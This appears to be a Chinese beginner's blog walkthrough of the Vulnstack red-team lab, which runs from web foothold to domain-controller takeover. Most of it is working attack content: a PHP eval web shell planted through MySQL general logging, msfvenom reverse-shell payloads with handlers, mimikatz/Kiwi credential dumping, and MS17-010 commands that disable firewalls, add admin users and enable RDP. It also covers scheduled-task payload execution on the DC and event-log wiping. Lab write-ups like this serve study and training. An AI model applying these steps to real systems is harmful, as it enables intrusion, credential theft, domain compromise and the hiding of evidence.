ATT&CK实战系列——红队实战(一)

纯小白向文章,大佬勿喷,有错误的地方希望大佬们指正

介绍

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:

环境搭建

拓朴图如下:

(win7为VM1,win2003为VM2,win2008为VM3)

绘图2

网络配置

因为我的kali是用wsl2搭建的,而靶机是在vmware下搭建的,所以要重新配置一下vmware的虚拟网卡
首先,要获取WSL2下kali的虚拟网络的IP地址和子网掩码

通过命令: ifconfig

image-20230420174034744

可以看到kali的ip为172.22.251.229

为了使vmware中运行的虚拟机可以和kali互通,需要在VMware虚拟网络编辑器中设置一个自定义虚拟网络,从而让kali和web服务器在同一个子网内

基本步骤:

  1. 打开VMware虚拟网络编辑器。
  2. 点击“更改设置”按钮,然后在“网络适配器”选项卡上选择一个适配器,例如VMnet8。
  3. 在“子网IP”部分,选择一个未使用的IP地址,例如172.22.8.1,并确保子网掩码设置为255.255.255.0。
  4. 点击“NAT设置”按钮,在“网关IP”部分,输入172.22.8.2。
  5. 点击“确定”保存更改,并关闭VMware虚拟网络编辑器。

image-20230420174434468

至此,靶机中的web服务器就可以和kali攻击机互通了,

接下来就要配置靶机的内网环境,通过在web服务器新建一个网卡来实现模拟内网环境

(如下面的丑图所示

image-20230424112740272

image-20230421124532135

1
2
3
4
5
6
7
8
9
10
11
攻击机:

kali ip:172.22.251.229

靶机:

win7 外网ip:172.22.8.128 内网ip:192.168.52.143

win2k3 ip:192.168.52.141

win2008 ip:192.168.52.138

开启服务

最后在win7(web服务器)通过phpstudy启动服务,并在本地访问成功,就算正式部署好环境了
image-20230421124829710

image-20230421124927290

信息收集

端口扫描

首先我们知道了目标ip是172.22.8.128

使用nmap扫描目标开放的端口信息

1
nmap -Pn 172.22.8.128

image-20230421130654461

目录爆破

看web服务就是phpStudy 探针,先进行目录爆破看看有没有泄露的

image-20230421170620518

1
2
3
4
http://172.22.8.128/l.php
http://172.22.8.128/phpinfo.php
http://172.22.8.128/phpmyadmin/
http://172.22.8.128/beifen.rar

源码泄露

可以看到有泄露了一个beifen.rar

下载下来发现是网站的源码

image-20230421170711332

敏感信息泄露

数据库账号密码

浏览一下源码,发现泄露了数据库的用户名和密码(源码泄露后可以通过正则快速发现源码中的敏感信息)

image-20230421172119015

再结合上面目录爆破出的phpmyadmin,我们就可以通过泄露的用户名密码直接登录,可以看到数据库的用户名密码是弱口令,如果没有泄露源码,也可以直接弱口令爆破出正确密码。

网站后台账号密码

通过备份文件中的yxcms猜测网站路径,发现后台账号密码泄露(。。。。。。

image-20230421172940784

漏洞挖掘&利用

网站后台

通过信息泄露登录后台

image-20230421173140911

后台getshell思路

  1. 后台数据库备份Getshell
  2. 各类上传Getshell
  3. 修改网站上传类型Getshell
  4. 上传其他脚本类型Getshell
  5. 编辑器漏洞Getshell
  6. 网站配置插马Getshell
  7. 编辑模版Getshell
  8. 修改脚本文件Getshell
  9. ……

编辑模板Getshell

上传恶意模板文件

新建一个模板写一句话

image-20230421174611290

image-20230421174554244

上传成功想直接访问试试,但是不出意外not found了
image-20230422112108151

目录扫描

暂时不知道上传的模板文件去哪里了,还是先扫一下目录

image-20230422112305406

目录遍历

发现扫出了不少东西,一一访问一下看看,发现public/ protected/ upload/下居然都有目录遍历漏洞,那么我们就可以通过它来找到上传的模板文件了,都访问一下,终于在protected/下找到了上传的模板文件

1
http://ip/yxcms/protected/apps/default/view/default/

image-20230422112804683

Getshell

然后就可以直接通过蚁剑连接了,成功Getshell

image-20230422113313035

phpmyadmin

通过泄露的root root登录

image-20230421172528505

phpmyadmin Getshell思路

  1. 查询物理路径
  2. 查询secure_file_priv参数
  3. select into outfile直接写入
  4. 日志GetShell
  5. 使用慢查询日志getsehll
  6. 使用错误日志getshell
  7. 新表GetShell
  8. 特殊版本GetShell

获取真实路径

image-20230422113835846

猜测网站路径为:C:/phpStudy/www/

查询secure_file_priv参数

1
select @@secure_file_priv;

发现值为NULL,无法通过select into outfile直接写入

image-20230422122625392

尝试日志GetShell

原理

MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。

查询日志全局变量
1
show variables like '%general%';

image-20230424114238106

发现日志没有开启,且日志保存的路径不在网站目录下,那么我们需要修改一下配置

1
2
set global general_log = "ON";    -- 打开日志保存
set global general_log_file = "C:/phpStudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接

再次查询
image-20230424114530045

写shell
1
select '<?php @eval($_POST[cmd]); ?>';

image-20230424114011597

还写了两条语句方便理解

1
2
select '<?php?>';
select '<?php echo"123"?>';

访问url

http://172.22.8.128/log.php

发现了这三条记录,第一条引号里面是空的,第三条输出了123,说明成功写入并且成功解析为php代码并执行了

image-20230424115736873

通过蚁剑连接

image-20230424115932455

还有更多getshell方式等待你们尝试

权限提升

image-20230424120407952

Windows提权思路

  1. 内核溢出漏洞提权
  2. BypassUAC
  3. DLL劫持
  4. 引号路径
  5. 服务权限
  6. 进程注入
  7. 令牌窃取
  8. AT&SC&PS命令

内核溢出漏洞提权的利用

一般就是收集一下windows的补丁和版本信息,然后和已知漏洞对比,寻找可利用的exp

可以使用一些github的项目自动对比

1
2
https://github.com/bitsadmin/wesng
https://github.com/chroblert/WindowsVulnScan

也可以使用cs和msf自动化

这里我就直接使用msf进行提权了

利用msf提权

生成反弹后门

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.22.251.229 LPORT=5555 -f exe -o msf.exe

上传至C:/phpStudy/tmp/目录下,当然这里还有可以要用到免杀的知识,但是这个靶场并没有,等以后遇到了再写吧

image-20230424130756744

配置监听会话

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 5555
exploit

image-20230424130941687

然后在蚁剑执行反弹后门就行

image-20230424131125156

image-20230424131144509

有回显说明成功反弹shell

先background退出当前session,然后sessions查看session id

image-20230424131612092

筛选EXP模块
半自动
1
2
3
use post/windows/gather/enum_patches(半自动:根据漏洞编号找出系统中安装的补丁)
set session 1
exploit

image-20230424131952399

全自动
1
2
3
4
use post/multi/recon/local_exploit_suggester(全自动:快速识别系统中可能被利用的漏洞)
set showdescription true
set session 1
exploit

exp之后就会自动识别,然后输出

image-20230424131856785

但是这个靶机只需要getsystem

image-20230424134406382

内网渗透

收集密码

使用kiwi模块

加载kiwi模块

1
load kiwi

image-20230429115504034

可以看到提示:

1
[!] Loaded x86 Kiwi on an x64 architecture

报错解释回归到kiwi原理上:

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。

image-20230429115827625

进程迁移

image-20230429120619900

1
migrate 488

image-20230429120635610

再load就没有报错了

image-20230429120705919

查看kiwi模块的使用

1
2
load kiwi
help kiwi

image-20230429120744638

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

使用creds_all获得本机密码

image-20230429224629672

密码抓取

抓到了

1
2
Administrator
hongrisec@win7

域信息收集

这里借用一下迪总的图
img

判断内网ip

为192.168.52.1/24

image-20230429102446148

手动收集

shell后乱码

进入shell后发现乱码,执行下面这条指令即可

1
Chcp 65001
1
2
3
4
5
6
7
shell
net time /domain #查看时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控

image-20230429174428260

上传fscan

简介

一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。

image-20230429102521400

使用

使用全部模块扫描内网

image-20230429102712946
结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
start infoscan
(icmp) Target 192.168.52.138 is alive
(icmp) Target 192.168.52.143 is alive
(icmp) Target 192.168.52.141 is alive
[*] Icmp alive hosts len is: 3
192.168.52.141:7001 open
192.168.52.143:3306 open
192.168.52.141:8099 open
192.168.52.141:8098 open
192.168.52.141:7002 open
192.168.52.138:88 open
192.168.52.141:445 open
192.168.52.141:139 open
192.168.52.143:445 open
192.168.52.138:445 open
192.168.52.143:139 open
192.168.52.138:139 open
192.168.52.141:135 open
192.168.52.143:135 open
192.168.52.138:135 open
192.168.52.143:80 open
192.168.52.138:80 open
192.168.52.141:21 open
[*] alive ports len is: 18

start vulscan

[*] NetInfo:
[*]192.168.52.143
[->]stu1
[->]192.168.52.143
[->]169.254.129.186
[->]172.22.8.128
[+] 192.168.52.143 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[*] NetBios: 192.168.52.143 stu1.god.org Windows 7 Professional 7601 Service Pack 1

[*] NetInfo:
[*]192.168.52.138
[->]owa
[->]192.168.52.138
[+] 192.168.52.138 MS17-010 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)

[*] NetInfo:
[*]192.168.52.141
[->]root-tvi862ubeh
[->]192.168.52.141

[*] WebTitle: http://192.168.52.141:7002 code:200 len:2632 title:Sentinel Keys License Monitor
[*] NetBios: 192.168.52.138 [+]DC owa.god.org Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[+] 192.168.52.141 MS17-010 (Windows Server 2003 3790)
[*] WebTitle: http://192.168.52.138 code:200 len:689 title:IIS7
[+] ftp://192.168.52.141:21:anonymous
[*] WebTitle: http://192.168.52.143 code:200 len:14749 title:phpStudy 探针 2014
[*] WebTitle: http://192.168.52.141:8099 code:403 len:1409 title:The page must be viewed over a secure channel
已完成 18/18
[*] 扫描结束,耗时: 21.4177141s

信息整理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
192.168.52.143 web服务器 stu1
MS17-010
端口开放:
3306 mysql
445 tcp
139 SMB
135 RPC
80 http

192.168.52.138 DC owa.god.org
MS17-010
端口开放:
445 tcp
139 SMB
135 RPC
88
80 http

192.168.52.141 root-tvi862ubeh
MS17-010
端口开放:
8099
8098
7002
7001 Weblogic
445 tcp
139 SMB
135 RPC
80 http
21 ftp
域环境
1
2
3
4
5
6
7
从域信息收集可以得到以下信息:

· 域:god.org
· 域内有三个用户:administrator、ligang、liukaifeng01
· 域内有俩台主机:ROOT-TVI862UBEH(192.168.52.141)、STU1(192.168.52.143)
· 域控:OWA(192.168.52.138)
· 域管理员:administrator

隧道搭建

内网中添加路由主要是充当跳板功能, 其实是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的meterpreter shell的基础上添加一条去往内网的路由,此路由的下一跳转发,即网关,是MSF攻击平台与被攻击目标建立的一个session会话。通过msf添加路由功能,可以直接使用msf去访问原本不能直接访问的内网资源

添加路由

1
2
3
run get_local_subnets
run autoroute -s 192.168.52.0/24
background

image-20230429122238699

image-20230429123519055

或者

1
2
3
4
5
use post/multi/manage/autoroute
show options
set SESSION 2
exploit
route print

image-20230429144413108

配置socks代理

代理就是在我们的kali开启了一个socks代理,监听kali本地端口,然后再通过这个端口将流量转给msf,msf转发给路由,所以能将流量直接带入到内网中

1
2
3
use auxiliary/server/socks_proxy
show options
run

image-20230429124400134

连接代理

代理就是在我们的kali开启了一个socks代理,监听kali本地端口,然后再通过这个端口将流量转给msf,msf转发给路由,所以能将流量直接带入到内网中

ProxyChains

ProxyChains是Linux和其他Unix下的代理工具。 它可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道, 支持HTTP、 SOCKS4和SOCKS5类型的代理服务器, 并且可配置多个代理。 ProxyChains通过一个用户定义的代理列表强制连接指定的应用程序, 直接断开接收方和发送方的连接。

如果没有ProxyChains的话先 apt install proxychains

然后修改/etc/proxychains.conf文件

首次install还需要去掉dynamic_chain的注释
image-20230429141944115

image-20230429125456408

成功再kali命令行访问内网ip

image-20230429144516081

后面的步骤不需要配置socks5代理也可完成,只需要在msf配置好路由就能攻击

横向移动

MS17-010打ROOT-TVI862UBEH

上面已经用过fscan收集信息了,似乎域内其他两台主机都有 MS17-010 ,那就直接用msf一把梭试试了

1
2
use exploit/windows/smb/ms17_010_psexec

image-20230429210730877

exploit/windows/smb/ms17_010_psexec模块执行失败。。。

image-20230429210740703

关闭防火墙

auxiliary/admin/smb/ms17_010_command模块可以执行命令,通过这个模块先关闭防火墙,再尝试windows/smb/ms17_010_psexec模块,依旧失败,尝试其他方法吧

1
2
3
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command netsh advfirewall set allprofiles state off
添加用户

auxiliary/admin/smb/ms17_010_command模块可以执行命令,那么我们可以直接添加用户,然后改权限,关防火墙,然后直接远程登录

image-20230429211013036

1
2
3
4
5
6
7
8
9
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.141
set command net user admin123 hongrisec@2023 /add #添加用户
exploit
set command net localgroup administrators admin123 /add #管理员权限
exploit
set command "REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f" #开启3389
exploit

image-20230429215557203

1
proxychains rdesktop 192.168.52.141

image-20230429215734594

image-20230429221211746

登录然后上msf木马然后getsystem拿下

当然域控也可以用同一种方式拿下,但是为了学习,还是使用其他方法吧

psexec 打域控

参考:
https://www.freebuf.com/articles/system/332115.html
https://blog.csdn.net/qq_41874930/article/details/108455478

什么是Psexec

PsExec是由Mark Russinovich创建的 Sysinternals Suite中包含的工具。最初,它旨在作为系统管理员的便利工具,以便他们可以通过在远程主机上运行命令来执行维护任务。PsExec可以算是一个轻量级的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与命令控制台几乎相同的实时交互性。PsExec最强大的功能就是在远程系统和远程支持工具(如 ipconfig、whoami)中启动交互式命令提示窗口,以便显示无法通过其他方式显示的有关远程系统的信息。

先关闭防火墙

还是通过ms17_010执行命令关闭防火墙

1
2
3
4
5
use auxiliary/admin/smb/ms17_010_command
show options
set rhosts 192.168.52.138
set command netsh advfirewall set allprofiles sate off
exploit

image-20230430005650634

使用msf的psexec模块
1
2
3
4
5
6
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set RHOSTS 192.168.52.138
set SMBUser Administrator
set smbpass hongrisec@win7
exploit

还是失败,谷歌了个遍,不知道是什么原因,可能是因为环境或者msf版本问题吧,尝试其他做法吧

image-20230430013340595

C盘共享传马打域控

参考:

https://blog.csdn.net/qq_53263789/article/details/115091561 https://blog.csdn.net/qq_40638006/article/details/122033546

用win7连接域控的c盘共享
1
2
3
4
sessions 1
shell
net use \\192.168.52.138\c$ "hongrisec@2021" /user:"administrator"
dir \\192.168.52.138\c$

1682790402459

生成反弹shell

因为现在是在用win7(192.168.52.143)做跳板打内网,所以反弹的是win7的ip和端口

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.143 LPORT=9999 -f exe -o msf_msf.exe

先把生成的shell upload到win7里

1
upload msf_msf.exe ./shell.exe

image-20230430022300283

重新shell后dir看看,找到upload的shell

image-20230430022346120

将shell复制到共享c盘

1
copy shell.exe \\192.168.52.138\c$\shell_msf.exe
写定时任务

写定时任务,每分钟执行一次

1
schtasks /Create /sc minute /mo 1 /tn "srn4" /tr "C:\shell.exe" /S 192.168.52.138 /RU System /u administrator /p "hongrisec@win7"

image-20230430022516216

监听
1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.52.143
set lport 9999
exploit

成功拿下域控!!(如果没有反弹成功可能是win7也就是143的机子没有关防火墙

image-20230430150932590

image-20230430151509582

痕迹清理

msf自带的痕迹清理 #清除windows中的应用程序日志、系统日志、安全日志

1
clearev 

全部清一遍就好了

image-20230430153855898

参考:https://www.freebuf.com/articles/web/226240.html
https://cloud.tencent.com/developer/article/1937037
https://cloud.tencent.com/developer/article/1759960
https://blog.csdn.net/m0_55793759/article/details/126514312
https://www.anquanke.com/post/id/235101#h2-21